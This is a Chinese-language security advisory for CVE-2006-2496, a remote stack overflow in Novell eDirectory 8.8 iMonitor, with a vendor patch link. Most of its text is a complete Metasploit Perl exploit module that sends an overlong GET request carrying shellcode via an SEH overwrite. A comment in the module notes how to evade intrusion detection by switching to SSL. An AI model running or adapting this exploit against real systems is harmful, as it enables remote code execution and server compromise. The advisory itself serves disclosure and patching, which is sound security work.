发布日期：2006-05-18
更新日期：2006-05-22

受影响系统：

Novell eDirectory 8.8
Novell iMonitor 2.4

描述：

---

BUGTRAQ  ID: 18026
CVE(CAN) ID: CVE-2006-2496

Novell eDirectory是一个的跨平台的目录服务器。

Novell eDirectory iMonitor在处理超长GET请求时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。

Novell eDirectory的iMonitor NDS Server默认下在TCP/8028端口运行HTTP接口，在TCP/8030端口运行HTTPS接口。这个服务程序在解析到nds的超长URI时存在栈溢出漏洞，可能导致代码执行或拒绝服务。

<*来源：Novell
        ZDI （http://www.zerodayinitiative.com/）
  
  链接：http://secunia.com/advisories/20139/print/
        http://marc.theaimsgroup.com/?l=bugtraq&m=114832711729276&w=2
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::edirectory_imonitor2;
use strict;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
  {
    'Name'    => 'eDirectory 8.8 iMonitor Remote Stack Overflow',
    'Version' => '$Revision: 1.1 $',
    'Authors' => [ 'H D Moore <hdm[at]metasploit.com>' ],

    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'winnt', 'winxp', 'win2k', 'win2003' ],
    'Priv'  => 1,

    'AutoOpts'  =>  { 'EXITFUNC' => 'thread' },

    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 8028 ],
        'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },

    'Payload' =>
      {
        'Space'     => 2000,
        'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%",
        'Prepend'   => "\x81\xc4\x54\xf2\xff\xff",
        'Keys'         => ['+ws2ord'],
      },

    'Description'  => Pex::Text::Freeform(qq{
        This module exploits a stack overflow in eDirectory 8.8 iMonitor
    service. This vulnerability was discovered by CIRT.DK and released
    through the ZDI program. This module was based on the edirectory_imonitor
    exploit supplied by an anonymous user. If you feel like evading an IDS,
    just set 'RPORT' to 8030 and 'SSL' to 1 :-)
}),

    'Refs'  =>
      [
        ['BID' => '18026'],
        ['CVE' => '2006-2496'],
        ['URL' => 'http://support.novell.com/cgi-bin/search/searchtid.cgi?/2973759.htm'],
      ],

    'Targets' =>
      [
        [ 'Windows (ALL) - eDirectory 8.8 iMonitor', 0x63501f15] # pop/pop/ret
      ],

    'Keys'  => ['imonitor'],

    'DisclosureDate' => 'May 22 2005',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit {
    my $self        = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target      = $self->Targets->[$target_idx];

    $self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

    my $s = Msf::Socket::Tcp->new(
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'SSL'      => $self->GetVar('SSL'),
      );

    if ( $s->IsError ) {
        $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
        return;
    }

    my $req = Pex::Text::AlphaNumText(8192);
    
    # Standard SEH overwrite... yawn
    substr($req, 4158, 4, pack('V', $target->[1]));
    substr($req, 4154, 2, "\xeb\x06");
    substr($req, 4162, length($shellcode), $shellcode);
    
    # Force this to trigger the exception (cmp [eax], 0)
    substr($req, 4102, 4, "\xff\xff\xff\xff");
    
    my $request =
      "GET /nds/$req HTTP/1.1\r\n".
      "Accept: */*\r\n".
      "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
      "Host: $target_host:$target_port\r\n".
      "Connection: Close\r\n".
      "\r\n";

    $s->Send($request);

    $self->PrintLine("[*] Overflow request sent...");
    
    $self->Handler($s);
    return;
}

1;

建议：

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厂商补丁：

Novell
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://support.novell.com/servlet/filedownload/sec/pub/edir88ptf_imon.tgz

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